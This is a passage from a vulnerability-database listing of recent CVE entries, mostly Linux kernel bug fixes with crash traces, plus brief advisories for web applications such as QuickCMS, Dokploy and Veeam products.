okay. If something does turn out to be wrong, the fallback is to revert the entire chain ([1]-[5]) and rework in the development branch instead. v2: Pin cgrp across the deferred destroy work with explicit cgroup_get()/cgroup_put() around queue_work() and the work_fn. v1 wasn't actually broken (ordered cgroup_offline_wq + queue_work order in cgroup_task_dead() saved it) but the explicit ref removes the dependency on those non-obvious invariants. Also note the pre-existing cgroup_apply_control_disable() race in the description; a follow-up will defer kill_css_finish() there.	N/A	More Details
CVE-2026-46222	In the Linux kernel, the following vulnerability has been resolved: media: rockchip: rkcif: Add missing MUST_CONNECT flag to pads The pads missed checks for connected devices which may a null dereference when the stream is enabled. Unable to handle kernel NULL pointer dereference at virtual address 0000000000000020 pc : rkcif_interface_enable_streams+0x48/0xf0 lr : rkcif_interface_enable_streams+0x44/0xf0 Call trace: rkcif_interface_enable_streams+0x48/0xf0 v4l2_subdev_enable_streams+0x26c/0x3f0 rkcif_stream_start_streaming+0x140/0x278 vb2_start_streaming+0x74/0x188 vb2_core_streamon+0xe0/0x1d8 vb2_ioctl_streamon+0x60/0xa8 v4l_streamon+0x2c/0x40 __video_do_ioctl+0x34c/0x400 video_usercopy+0x2d0/0x800 video_ioctl2+0x20/0x60 v4l2_ioctl+0x48/0x78	N/A	More Details
CVE-2026-46221	In the Linux kernel, the following vulnerability has been resolved: EDAC/versalnet: Fix device name memory leak The device name allocated via kzalloc() in init_one_mc() is assigned to dev->init_name but never freed on the normal removal path. device_register() copies init_name and then sets dev->init_name to NULL, so the name pointer becomes unreachable from the device. Thus leaking memory. Use a stack-local char array instead of using kzalloc() for name.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/sdma4: replace BUG_ON with WARN_ON in fence emission sdma_v4_0_ring_emit_fence() contains two BUG_ON(addr & 0x3) assertions that		

CVE-2026-46220	verify fence writeback addresses are dword-aligned. These assertions can be reached from unprivileged userspace via crafted DRM_IOCTL_AMDGPU_CS submissions, causing a fatal kernel panic in a scheduler worker thread. Replace both BUG_ON() calls with WARN_ON() to log the condition without crashing the kernel. A misaligned fence address at this point indicates a driver bug, but crashing the kernel is never the correct response when the assertion is reachable from userspace. The CS IOCTL path is the correct place to filter invalid submissions; the ring emission callback is too late to do anything about it. (cherry picked from commit b90250bd933afd1ba94d86d6b13821997b22b18e)	N/A	More Details
CVE-2026-46219	In the Linux kernel, the following vulnerability has been resolved: spi: mpc52xx: fix use-after-free on unbind The state machine work is scheduled by the interrupt handler and therefore needs to be cancelled after disabling interrupts to avoid a potential use-after-free.	N/A	More Details
CVE-2026-46217	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/vcn4: Avoid overflow on msg bound check As pointed out by SDL, the previous condition may be vulnerable to overflow. (cherry picked from commit 3c5367d950140d4ec7af830b2268a5a6fdaa3885)	N/A	More Details
CVE-2026-46216	In the Linux kernel, the following vulnerability has been resolved: drm/xe/hdcp: Add NULL check for media_gt in intel_hdcp_gsc_check_status() When media GT is disabled via configfs, there is no allocation for media_gt, which is kept as NULL. In such scenario, intel_hdcp_gsc_check_status() results in a kernel pagefault error due to &gt->uc.gsc being evaluated as an invalid memory address. Fix that by introducing a NULL check on media_gt and bailing out early if so. While at it, also drop the NULL check for gsc, since it can't be NULL if media_gt is not NULL. v2: - Get address for gsc only after checking that gt is not NULL. (Shuicheng) - Drop the NULL check for gsc. (Shuicheng) v3: - Add "Fixes" and "Cc: <stable...>" tags. (Matt) (cherry picked from commit bfaf87e84ca3ca3f6e275f9ae56da47a8b55ffd1)	N/A	More Details
CVE-2026-45928	In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Fix memory leak on codec_info allocation failure In wave5_vpu_open_enc() and wave5_vpu_open_dec(), a vpu instance is allocated via kzalloc(). If the subsequent allocation for inst->codec_info fails, the functions return -ENOMEM without freeing the previously allocated instance, causing a memory leak. Fix this by calling kfree() on the instance in this error path to ensure it is properly released.	N/A	More Details
CVE-2026-45937	In the Linux kernel, the following vulnerability has been resolved: crypto: inside-secure/eip93 - fix kernel panic in driver detach During driver detach, the same hash algorithm is unregistered multiple times due to a wrong iterator.	N/A	More Details
CVE-2026-45934	In the Linux kernel, the following vulnerability has been resolved: btrfs: fix EEXIST abort due to non-consecutive gaps in chunk allocation I have been observing a number of systems aborting at insert_dev_extents() in btrfs_create_pending_block_groups(). The following is a sample stack trace of such an abort coming from forced chunk allocation (typically behind CONFIG_BTRFS_EXPERIMENTAL) but this can theoretically happen to any DUP chunk allocation. [81.801] ------------[cut here]------------ [81.801] BTRFS: Transaction aborted (error -17) [81.801] WARNING: fs/btrfs/block-group.c:2876 at btrfs_create_pending_block_groups+0x721/0x770 [btrfs], CPU#1: bash/319 [81.802] Modules linked in: virtio_net btrfs xor zstd_compress raid6_pq null_blk [81.803] CPU: 1 UID: 0 PID: 319 Comm: bash Kdump: loaded Not tainted 6.19.0-rc6+ #319 NONE [81.803] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014 [81.804] RIP: 0010:btrfs_create_pending_block_groups+0x723/0x770 [btrfs] [81.806] RSP: 0018:ffffa36241a6bce8 EFLAGS: 00010282 [81.806] RAX: 000000000000000d RBX: ffff8e699921e400 RCX: 0000000000000000 [81.807] RDX: 0000000002040001 RSI: 00000000ffffffef RDI: ffffffffc0608bf0 [81.807] RBP: 00000000ffffffef R08: ffff8e69830f6000 R09: 0000000000000007 [81.808] R10: ffff8e699921e5e8 R11: 0000000000000000 R12: ffff8e6999228000 [81.808] R13: ffff8e6984d82000 R14: ffff8e69966a69c0 R15: ffff8e69aa47b000 [81.809] FS: 00007fec6bdd9740(0000) GS:ffff8e6b1b379000(0000) knlGS:0000000000000000 [81.809] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [81.810] CR2: 00005604833670f0 CR3: 0000000116679000 CR4: 00000000000006f0 [81.810] Call Trace: [81.810] <TASK> [81.810] __btrfs_end_transaction+0x3e/0x2b0 [btrfs] [81.811] btrfs_force_chunk_alloc_store+0xcd/0x140 [btrfs] [81.811] kernfs_fop_write_iter+0x15f/0x240 [81.812] vfs_write+0x264/0x500 [81.812] ksys_write+0x6c/0xe0 [81.812] do_syscall_64+0x66/0x770 [81.812] entry_SYSCALL_64_after_hwframe+0x76/0x7e [81.813] RIP: 0033:0x7fec6be66197 [81.814] RSP: 002b:00007fffb159dd30 EFLAGS: 00000202 ORIG_RAX: 0000000000000001 [81.815] RAX: ffffffffffffffda RBX: 00007fec6bdd9740 RCX: 00007fec6be66197 [81.815] RDX: 0000000000000002 RSI: 0000560483374f80 RDI: 0000000000000001 [81.816] RBP: 0000560483374f80 R08: 0000000000000000 R09: 0000000000000000 [81.816] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000002 [81.817] R13: 00007fec6bfb85c0 R14: 00007fec6bfb5ee0 R15: 00005604833729c0 [81.817] </TASK> [81.817] irq event stamp: 20039 [81.818] hardirqs last enabled at (20047): [<ffffffff99a68302>] __up_console_sem+0x52/0x60 [81.818] hardirqs last disabled at (20056): [<ffffffff99a682e7>] __up_console_sem+0x37/0x60 [81.819] softirqs last enabled at (19470): [<ffffffff999d2b46>] __irq_exit_rcu+0x96/0xc0 [81.819] softirqs last disabled at (19463): [<ffffffff999d2b46>] __irq_exit_rcu+0x96/0xc0 [81.820] ---[end trace 0000000000000000]--- [81.820] BTRFS: error (device dm-7 state A) in btrfs_create_pending_block_groups:2876: errno=-17 Object already exists Inspecting these aborts with drgn, I observed a pattern of overlapping chunk_maps. Note how stripe 1 of the first chunk overlaps in physical address with stripe 0 of the second chunk. Physical Start Physical End Length Logical Type Stripe ---------- 0x0000000102500000 0x0000000142500000 1.0G 0x0000000641d00000 META|DUP 0/2	N/A	More Details

	0x0000000142500000 0x0000000182500000 1.0G 0x0000000641d00000 META|DUP 1/2 0x0000000142500000 0x0000000182500000 1.0G 0x0000000601d00000 META|DUP 0/2 0x0000000182500000 0x00000001c2500000 1.0G 0x0000000601d00000 META|DUP 1/2 Now how could this possibly happen? All chunk allocation is ---truncated---		
CVE-2026-46048	In the Linux kernel, the following vulnerability has been resolved: ALSA: caiaq: fix usb_dev refcount leak on probe failure create_card() takes a reference on the USB device with usb_get_dev() and stores the matching usb_put_dev() in card_free(), which is installed as the snd_card's ->private_free destructor. However, ->private_free is only assigned near the end of init_card(), after several failure points (usb_set_interface(), EP type checks, usb_submit_urb(), the EP1_CMD_GET_DEVICE_INFO exchange, and its timeout). When any of those fail, init_card() returns an error to snd_probe(), which calls snd_card_free(card). Because ->private_free is still NULL, card_free() never runs, the usb_get_dev() reference is not dropped, and the struct usb_device leaks along with its descriptor allocations and device_private. syzbot reproduces this with a malformed UAC3 device whose only valid altsetting is 0; init_card()'s usb_set_interface(usb_dev, 0, 1) call fails with -EIO and triggers the leak. Move the ->private_free assignment into create_card(), immediately after usb_get_dev(), so that every error path reaching snd_card_free() balances the reference. card_free()'s callees (snd_usb_caiaq_input_free, free_urbs, kfree) already tolerate the partially-initialized state because the chip private area is zero-initialized by snd_card_new().	N/A	More Details
CVE-2026-46034	In the Linux kernel, the following vulnerability has been resolved: vfio/cdx: Fix NULL pointer dereference in interrupt trigger path Add validation to ensure MSI is configured before accessing cdx_irqs array in vfio_cdx_set_msi_trigger(). Without this check, userspace can trigger a NULL pointer dereference by calling VFIO_DEVICE_SET_IRQS with VFIO_IRQ_SET_DATA_BOOL or VFIO_IRQ_SET_DATA_NONE flags before ever setting up interrupts via VFIO_IRQ_SET_DATA_EVENTFD. The vfio_cdx_msi_enable() function allocates the cdx_irqs array and sets config_msi to 1 only when called through the EVENTFD path. The trigger loop (for DATA_BOOL/DATA_NONE) assumed this had already been done, but there was no enforcement of this call ordering. This matches the protection used in the PCI VFIO driver where vfio_pci_set_msi_trigger() checks irq_is() before the trigger loop.	N/A	More Details
CVE-2026-33386	QuickCMS is vulnerable to Cross-Site Scripting (XSS) through its insecure HTTP-based plugin-fetching mechanism. A malicious attacker can perform a Man-in-the-Middle (MITM) attack by impersonating the opensolution.org server and serving arbitrary HTML or JavaScript at the plugin list endpoint. When a user accesses the plugin page, the malicious content is automatically fetched, rendered, and executed. This issue was fixed in a patch to version 6.8 published on 15.05.2026, deployments without this patch are still vulnerable.	N/A	More Details
CVE-2026-46035	In the Linux kernel, the following vulnerability has been resolved: mm/page_alloc: return NULL early from alloc_frozen_pages_nolock() in NMI on UP On UP kernels (!CONFIG_SMP), spin_trylock() is a no-op that unconditionally succeeds even when the lock is already held. As a result, alloc_frozen_pages_nolock() called from NMI context can re-enter rmqueue() and acquire the zone lock that the interrupted context is already holding, corrupting the freelists. With CONFIG_DEBUG_SPINLOCK on UP, the following BUG is triggered with the slub_kunit test module: BUG: spinlock trylock failure on UP on CPU#0, kunit_try_catch/243 [...] Call Trace: <NMI> dump_stack_lvl+0x3f/0x60 do_raw_spin_trylock+0x41/0x50 _raw_spin_trylock+0x24/0x50 rmqueue.isra.0+0x2a9/0xa70 get_page_from_freelist+0xeb/0x450 alloc_frozen_pages_nolock_noprof+0x111/0x1e0 allocate_slab+0x42a/0x500 ___slab_alloc+0xa7/0x4c0 kmalloc_nolock_noprof+0x164/0x310 [...] </NMI> Fix this by returning NULL early when invoked from NMI on a UP kernel.	N/A	More Details
CVE-2026-46038	In the Linux kernel, the following vulnerability has been resolved: net: qrtr: ns: Free the node during ctrl_cmd_bye() A node sends the BYE packet when it is about to go down. So the nameserver should advertise the removal of the node to all remote and local observers and free the node finally. But currently, the nameserver doesn't free the node memory even after processing the BYE packet. This causes the node memory to leak. Hence, remove the node from Xarray list and free the node memory during both success and failure case of ctrl_cmd_bye().	N/A	More Details
CVE-2026-46040	In the Linux kernel, the following vulnerability has been resolved: inotify: fix watch count leak when fsnotify_add_inode_mark_locked() fails When fsnotify_add_inode_mark_locked() fails in inotify_new_watch(), the error path calls inotify_remove_from_idr() but does not call dec_inotify_watches() to undo the preceding inc_inotify_watches(). This leaks a watch count, and repeated failures can exhaust the max_user_watches limit with -ENOSPC even when no watches are active. Prior to commit 1cce1eea0aff ("inotify: Convert to using per-namespace limits"), the watch count was incremented after fsnotify_add_mark_locked() succeeded, so this path was not affected. The conversion moved inc_inotify_watches() before the mark insertion without adding the corresponding rollback. Add the missing dec_inotify_watches() call in the error path.	N/A	More Details
CVE-2026-46041	In the Linux kernel, the following vulnerability has been resolved: greybus: gb-beagleplay: fix sleep in atomic context in hdlc_tx_frames() hdlc_append() calls usleep_range() to wait for circular buffer space, but it is called with tx_producer_lock (a spinlock) held via hdlc_tx_frames() -> hdlc_append_tx_frame()/hdlc_append_tx_u8()/etc. Sleeping while holding a spinlock is illegal and can trigger "BUG: scheduling while atomic". Fix this by moving the buffer-space wait out of hdlc_append() and into hdlc_tx_frames(), before the spinlock is acquired. The new flow: 1. Pre-calculate the worst-case encoded frame length. 2. Wait (with sleep) outside the lock until enough space is available, kicking the TX consumer	N/A	More Details

	work to drain the buffer. 3. Acquire the spinlock, re-verify space, and write the entire frame atomically. This ensures that sleeping only happens without any lock held, and that frames are either fully enqueued or not written at all. This bug is found by CodeQL static analysis tool (interprocedural sleep-in-atomic query) and my code review.		
CVE-2026-46042	In the Linux kernel, the following vulnerability has been resolved: mm/mempolicy: fix memory leaks in weighted_interleave_auto_store() weighted_interleave_auto_store() fetches old_wi_state inside the if (!input) block only. This causes two memory leaks: 1. When a user writes "false" and the current mode is already manual, the function returns early without freeing the freshly allocated new_wi_state. 2. When a user writes "true", old_wi_state stays NULL because the fetch is skipped entirely. The old state is then overwritten by rcu_assign_pointer() but never freed, since the cleanup path is gated on old_wi_state being non-NULL. A user can trigger this repeatedly by writing "1" in a loop. Fix both leaks by moving the old_wi_state fetch before the input check, making it unconditional. This also allows a unified early return for both "true" and "false" when the requested mode matches the current mode. Reviewed by: Donet Tom <donettom@linux.ibm.com>	N/A	More Details
CVE-2026-46044	In the Linux kernel, the following vulnerability has been resolved: ipmi:ssif: Clean up kthread on errors If an error occurs after the ssif kthread is created, but before the main IPMI code starts the ssif interface, the ssif kthread will not be stopped. So make sure the kthread is stopped on an error condition if it is running.	N/A	More Details
CVE-2026-46045	In the Linux kernel, the following vulnerability has been resolved: md/md-llbitmap: skip reading rdevs that are not in_sync When reading bitmap pages from member disks, the code iterates through all rdevs and attempts to read from the first available one. However, it only checks for raid_disk assignment and Faulty flag, missing the In_sync flag check. This can cause bitmap data to be read from spare disks that are still being rebuilt and don't have valid bitmap information yet. Reading stale or uninitialized bitmap data from such disks can lead to incorrect dirty bit tracking, potentially causing data corruption during recovery or normal operation. Add the In_sync flag check to ensure bitmap pages are only read from fully synchronized member disks that have valid bitmap data.	N/A	More Details
CVE-2026-46046	In the Linux kernel, the following vulnerability has been resolved: ext4: fix missing brelse() in ext4_xattr_inode_dec_ref_all() The commit c8e008b60492 ("ext4: ignore xattrs past end") introduced a refcount leak in when block_csum is false. ext4_xattr_inode_dec_ref_all() calls ext4_get_inode_loc() to get iloc.bh, but never releases it with brelse().	N/A	More Details
CVE-2026-46047	In the Linux kernel, the following vulnerability has been resolved: net: qrtr: ns: Fix use-after-free in driver remove() In the remove callback, if a packet arrives after destroy_workqueue() is called, but before sock_release(), the qrtr_ns_data_ready() callback will try to queue the work, causing use-after-free issue. Fix this issue by saving the default 'sk_data_ready' callback during qrtr_ns_init() and use it to replace the qrtr_ns_data_ready() callback at the start of remove(). This ensures that even if a packet arrives after destroy_workqueue(), the work struct will not be dereferenced. Note that it is also required to ensure that the RX threads are completed before destroying the workqueue, because the threads could be using the qrtr_ns_data_ready() callback.	N/A	More Details
CVE-2026-9194	Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. Reason: This candidate was issued in error. Notes: All references and descriptions in this candidate have been removed to prevent accidental usage.	N/A	More Details
CVE-2026-46130	In the Linux kernel, the following vulnerability has been resolved: dm-verity-fec: fix reading parity bytes split across blocks (take 3) fec_decode_bufs() assumes that the parity bytes of the first RS codeword it decodes are never split across parity blocks. This assumption is false. Consider v->fec->block_size == 4096 && v->fec->roots == 17 && fio->nbufs == 1, for example. In that case, each call to fec_decode_bufs() consumes v->fec->roots * (fio->nbufs << DM_VERITY_FEC_BUF_RS_BITS) = 272 parity bytes. Considering that the parity data for each message block starts on a block boundary, the byte alignment in the parity data will iterate through 272*i mod 4096 until the 3 parity blocks have been consumed. On the 16th call (i=15), the alignment will be 4080 bytes into the first block. Only 16 bytes remain in that block, but 17 parity bytes will be needed. The code reads out-of-bounds from the parity block buffer. Fortunately this doesn't normally happen, since it can occur only for certain non-default values of fec_roots *and* when the maximum number of buffers couldn't be allocated due to low memory. For example with block_size=4096 only the following cases are affected: fec_roots=17: nbufs in [1, 3, 5, 15] fec_roots=19: nbufs in [1, 229] fec_roots=21: nbufs in [1, 3, 5, 13, 15, 39, 65, 195] fec_roots=23: nbufs in [1, 89] Regardless, fix it by refactoring how the parity blocks are read.	N/A	More Details
CVE-2026-43917	Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.19.0 and earlier, the protectedProcedure middleware only verifies the user is authenticated - it does NOT enforce organization scoping. Each endpoint must individually verify the resource's org matches the session's activeOrganizationId. This affects the following endpoints: allByType, killProcess, and removeDeployment in deployment.ts; delete in rollbacks.ts; create, one, update, remove, manualBackupPostgres, MySql, Mariadb, Mongo, Compose, WebServer, and listBackupFiles in backup.ts; list, one, delete, update, runManually, and restoreVolumeBackupWithLogs in volume-backups.ts; getNodes, removeWorker, addWorker, and addManager in cluster.ts; and create in mount.ts.	N/A	More Details
CVE-			More

2026-32998	This vulnerability in Veeam Service Provider Console allows for remote code execution.	N/A	Details
CVE-2026-45577	Neotoma provides versioned records that persist across agent runs. From 0.6.0 to before 0.11.1, Neotoma can treat public reverse-proxied requests as local when the app receives them over a loopback socket and no Bearer token is present. In affected deployments, the REST auth middleware can resolve unauthenticated requests as the local development user, making the hosted Inspector and related API surface reachable without credentials. This vulnerability is fixed in 0.11.1.	N/A	More Details
CVE-2026-32997	A vulnerability allowing an authenticated user with the Backup Administrator role to write arbitrary files on Linux-based Veeam Backup & Replication server.	N/A	More Details
CVE-2026-32996	This vulnerability in Veeam Agent for Microsoft Windows allows for Local Privilege Escalation.	N/A	More Details
CVE-2026-46049	In the Linux kernel, the following vulnerability has been resolved: ALSA: ctxfi: Add fallback to default RSR for S/PDIF spdif_passthru_playback_get_resources() uses atc->pll_rate as the RSR for the MSR calculation loop. However, pll_rate is only updated in atc_pll_init() and not in hw_pll_init(), so it remains 0 after the card init. When spdif_passthru_playback_setup() skips atc_pll_init() for 32000 Hz, (rsr * desc.msr) always becomes 0, causing the loop to spin indefinitely. Add fallback to use atc->rsr when atc->pll_rate is 0. This reflects the hardware state, since hw_card_init() already configures the PLL to the default RSR.	N/A	More Details
CVE-2026-46050	In the Linux kernel, the following vulnerability has been resolved: md/raid10: fix deadlock with check operation and nowait requests When an array check is running it will raise the barrier at which point normal requests will become blocked and increment the nr_pending value to signal there is work pending inside of wait_barrier(). NOWAIT requests do not block and so will return immediately with an error, and additionally do not increment nr_pending in wait_barrier(). Upstream change commit 43806c3d5b9b ("raid10: cleanup memleak at raid10_make_request") added a call to raid_end_bio_io() to fix a memory leak when NOWAIT requests hit this condition. raid_end_bio_io() eventually calls allow_barrier() and it will unconditionally do an atomic_dec_and_test(&conf->nr_pending) even though the corresponding increment on nr_pending didn't happen in the NOWAIT case. This can be easily seen by starting a check operation while an application is doing nowait IO on the same array. This results in a deadlocked state due to nr_pending value underflowing and so the md resync thread gets stuck waiting for nr_pending to == 0. Output of r10conf state of the array when we hit this condition: crash> struct r10conf barrier = 1, nr_pending = { counter = -41 }, nr_waiting = 15, nr_queued = 0, Example of md_sync thread stuck waiting on raise_barrier() and other requests stuck in wait_barrier(): md1_resync [<0>] raise_barrier+0xce/0x1c0 [<0>] raid10_sync_request+0x1ca/0x1ed0 [<0>] md_do_sync+0x779/0x1110 [<0>] md_thread+0x90/0x160 [<0>] kthread+0xbe/0xf0 [<0>] ret_from_fork+0x34/0x50 [<0>] ret_from_fork_asm+0x1a/0x30 kworker/u1040:2+flush-253:4 [<0>] wait_barrier+0x1de/0x220 [<0>] regular_request_wait+0x30/0x180 [<0>] raid10_make_request+0x261/0x1000 [<0>] md_handle_request+0x13b/0x230 [<0>] __submit_bio+0x107/0x1f0 [<0>] submit_bio_noacct_nocheck+0x16f/0x390 [<0>] ext4_io_submit+0x24/0x40 [<0>] ext4_do_writepages+0x254/0xc80 [<0>] ext4_writepages+0x84/0x120 [<0>] do_writepages+0x7a/0x260 [<0>] __writeback_single_inode+0x3d/0x300 [<0>] writeback_sb_inodes+0x1dd/0x470 [<0>] __writeback_inodes_wb+0x4c/0xe0 [<0>] wb_writeback+0x18b/0x2d0 [<0>] wb_workfn+0x2a1/0x400 [<0>] process_one_work+0x149/0x330 [<0>] worker_thread+0x2d2/0x410 [<0>] kthread+0xbe/0xf0 [<0>] ret_from_fork+0x34/0x50 [<0>] ret_from_fork_asm+0x1a/0x30	N/A	More Details
CVE-2026-46051	In the Linux kernel, the following vulnerability has been resolved: md/raid5: fix soft lockup in retry_aligned_read() When retry_aligned_read() encounters an overlapped stripe, it releases the stripe via raid5_release_stripe() which puts it on the lockless released_stripes llist. In the next raid5d loop iteration, release_stripe_list() drains the stripe onto handle_list (since STRIPE_HANDLE is set by the original IO), but retry_aligned_read() runs before handle_active_stripes() and removes the stripe from handle_list via find_get_stripe() -> list_del_init(). This prevents handle_stripe() from ever processing the stripe to resolve the overlap, causing an infinite loop and soft lockup. Fix this by using __release_stripe() with temp_inactive_list instead of raid5_release_stripe() in the failure path, so the stripe does not go through the released_stripes llist. This allows raid5d to break out of its loop, and the overlap will be resolved when the stripe is eventually processed by handle_stripe().	N/A	More Details
CVE-2026-46057	In the Linux kernel, the following vulnerability has been resolved: landlock: Fix LOG_SUBDOMAINS_OFF inheritance across fork() hook_cred_transfer() only copies the Landlock security blob when the source credential has a domain. This is inconsistent with landlock_restrict_self() which can set LOG_SUBDOMAINS_OFF on a credential without creating a domain (via the ruleset_fd=-1 path): the field is committed but not preserved across fork() because the child's prepare_creds() calls hook_cred_transfer() which skips the copy when domain is NULL. This breaks the documented use case where a process mutes subdomain logs before forking sandboxed children: the children lose the muting and their domains produce unexpected audit records. Fix this by unconditionally copying the Landlock credential blob.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: KVM: nSVM: Always use NextRIP as		

CVE-2026-46059	vmcb02's NextRIP after first L2 VMRUN For guests with NRIPS disabled, L1 does not provide NextRIP when running an L2 with an injected soft interrupt, instead it advances the current RIP before running it. KVM uses the current RIP as the NextRIP in vmcb02 to emulate a CPU without NRIPS. However, after L2 runs the first time, NextRIP will be updated by the CPU and/or KVM, and the current RIP is no longer the correct value to use in vmcb02. Hence, after save/restore, use the current RIP if and only if a nested run is pending, otherwise use NextRIP. Give soft_int_next_rip the same treatment, as it's the same logic, just for a narrower use case. [sean: give soft_int_next_rip the same treatment]	N/A	More Details
CVE-2026-46060	In the Linux kernel, the following vulnerability has been resolved: crypto: qat - fix IRQ cleanup on 6xxx probe failure When adf_dev_up() partially completes and then fails, the IRQ handlers registered during adf_isr_resource_alloc() are not detached before the MSI-X vectors are released. Since the device is enabled with pcim_enable_device(), calling pci_alloc_irq_vectors() internally registers pcim_msi_release() as a devres action. On probe failure, devres runs pcim_msi_release() which calls pci_free_irq_vectors(), tearing down the MSI-X vectors while IRQ handlers (for example 'qat0-bundle0') are still attached. This causes remove_proc_entry() warnings: [22.163964] remove_proc_entry: removing non-empty directory 'irq/143', leaking at least 'qat0-bundle0' Moving the devm_add_action_or_reset() before adf_dev_up() does not solve the problem since devres runs in LIFO order and pcim_msi_release(), registered later inside adf_dev_up(), would still fire before adf_device_down(). Fix by calling adf_dev_down() explicitly when adf_dev_up() fails, to properly free IRQ handlers before devres releases the MSI-X vectors.	N/A	More Details
CVE-2026-33384	QuickCMS allows a user's session identifier to be set before authentication. The value of this session ID stays the same after authentication. This behaviour enables an attacker to fix a session ID for a victim and later hijack the authenticated session. This issue was fixed in a patch to version 6.8 published on 15.05.2026, deployments without this patch are still vulnerable.	N/A	More Details
CVE-2026-9806	A stored cross-site scripting (XSS) vulnerability exists in the notification panel of CTI Transmute in versions prior to the patched release. Notification messages containing user-controlled convert names were rendered in the notification bell dropdown using innerHTML without adequate sanitization. An attacker able to create or influence a convert name that is included in a notification could inject arbitrary JavaScript, which would execute in the browser of an authenticated user when they opened the notification panel. Successful exploitation could allow the attacker to perform actions in the victim's session or access information available to the application in the browser context. The issue was remediated by constructing notification elements through DOM methods and assigning notification message content via textContent instead of innerHTML. This vulnerability was only present on a development branch.	N/A	More Details
CVE-2026-46033	In the Linux kernel, the following vulnerability has been resolved: crypto: authencesn - reject short ahash digests during instance creation authencesn requires either a zero authsize or an authsize of at least 4 bytes because the ESN encrypt/decrypt paths always move 4 bytes of high-order sequence number data at the end of the authenticated data. While crypto_authenc_esn_setauthsize() already rejects explicit non-zero authsizes in the range 1..3, crypto_authenc_esn_create() still copied auth->digestsize into inst->alg.maxauthsize without validating it. The AEAD core then initialized the tfm's default authsize from that value. As a result, selecting an ahash with digest size 1..3, such as cbcmac(cipher_null), exposed authencesn instances whose default authsize was invalid even though setauthsize() would have rejected the same value. AF_ALG could then trigger the ESN tail handling with a too-short tag and hit an out-of-bounds access. Reject authencesn instances whose ahash digest size is in the invalid non-zero range 1..3 so that no tfm can inherit an unsupported default authsize.	N/A	More Details
CVE-2024-47096	Cross Site Scripting vulnerability in Follet School Solutions Destiny before v22.0.1 AU1 allows a remote attacker to run arbitrary client-side code via the showSupportExpiredMessage parameter of handleloginform.do.	N/A	More Details
CVE-2026-46127	In the Linux kernel, the following vulnerability has been resolved: RDMA/ocrdma: Don't NULL deref uctx on errors in ocrdma_copy_pd_uresp() Sashiko points out that pd->uctx isn't initialized until late in the function so all these error flow references are NULL and will crash. Use the uctx that isn't NULL.	N/A	More Details
CVE-2026-46126	In the Linux kernel, the following vulnerability has been resolved: RDMA/mana: Fix mana_destroy_wq_obj() cleanup in mana_ib_create_qp_rss() Sashiko points out there are two bugs here in the error unwind flow, both related to how the WQ table is unwound. First there is a double i-- on the first failure path due to the while loop having a i--, remove it. Second if mana_ib_install_cq_cb() fails then mana_create_wq_obj() is not undone due to the above i--.	N/A	More Details
CVE-2026-46122	In the Linux kernel, the following vulnerability has been resolved: wifi: b43: enforce bounds check on firmware key index in b43_rx() The firmware-controlled key index in b43_rx() can exceed the dev->key[] array size (58 entries). The existing B43_WARN_ON is non-enforcing in production builds, allowing an out-of-bounds read. Make the B43_WARN_ON check enforcing by dropping the frame when the firmware returns an invalid key index.	N/A	More Details
CVE-2026-46016	In the Linux kernel, the following vulnerability has been resolved: remoteproc: xlnx: Only access buffer information if IPI is buffered In the receive callback check if message is NULL to prevent possibility of crash by NULL pointer dereferencing.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: mm: fix deferred split queue races during		

CVE-2026-46017	migration migrate_folio_move() records the deferred split queue state from src and replays it on dst. Replaying it after remove_migration_ptes(src, dst, 0) makes dst visible before it is requeued, so a concurrent rmap-removal path can mark dst partially mapped and trip the WARN in deferred_split_folio(). Move the requeue before remove_migration_ptes() so dst is back on the deferred split queue before it becomes visible again. Because migration still holds dst locked at that point, teach deferred_split_scan() to requeue a folio when folio_trylock() fails. Otherwise a fully mapped underused folio can be dequeued by the shrinker and silently lost from split_queue. [ziy@nvidia.com: move the comment]	N/A	More Details
CVE-2026-46018	In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: stop parsing UAC2 rates at MAX_NR_RATES parse_uac2_sample_rate_range() caps the number of enumerated rates at MAX_NR_RATES, but it only breaks out of the current rate loop. A malformed UAC2 RANGE response with additional triplets continues parsing the remaining triplets and repeatedly prints "invalid uac2 rates" while probe still holds register_mutex. Stop the whole parse once the cap is reached and return the number of rates collected so far.	N/A	More Details
CVE-2026-46121	In the Linux kernel, the following vulnerability has been resolved: mm/damon/sysfs-schemes: protect memcg_path kfree() with damon_sysfs_lock Patch series "mm/damon/sysfs-schemes: fix use-after-free for [memcg_]path". Reads of 'memcg_path' and 'path' files in DAMON sysfs interface could race with their writes, results in use-after-free. Fix those. This patch (of 2): damon_sysfs_scheme_filter->mmecg_path can be read and written by users, via DAMON sysfs memcg_path file. It can also be indirectly read, for the parameters {on,off}line committing to DAMON. The reads for parameters committing are protected by damon_sysfs_lock to avoid the sysfs files being destroyed while any of the parameters are being read. But the user-driven direct reads and writes are not protected by any lock, while the write is deallocating the memcg_path-pointing buffer. As a result, the readers could read the already freed buffer (user-after-free). Note that the user-reads don't race when the same open file is used by the writer, due to kernfs's open file locking. Nonetheless, doing the reads and writes with separate open files would be common. Fix it by protecting both the user-direct reads and writes with damon_sysfs_lock.	N/A	More Details
CVE-2026-46019	In the Linux kernel, the following vulnerability has been resolved: crypto: atmel-aes - Fix 3-page memory leak in atmel_aes_buff_cleanup atmel_aes_buff_init() allocates 4 pages using __get_free_pages() with ATMEL_AES_BUFFER_ORDER, but atmel_aes_buff_cleanup() frees only the first page using free_page(), leaking the remaining 3 pages. Use free_pages() with ATMEL_AES_BUFFER_ORDER to fix the memory leak.	N/A	More Details
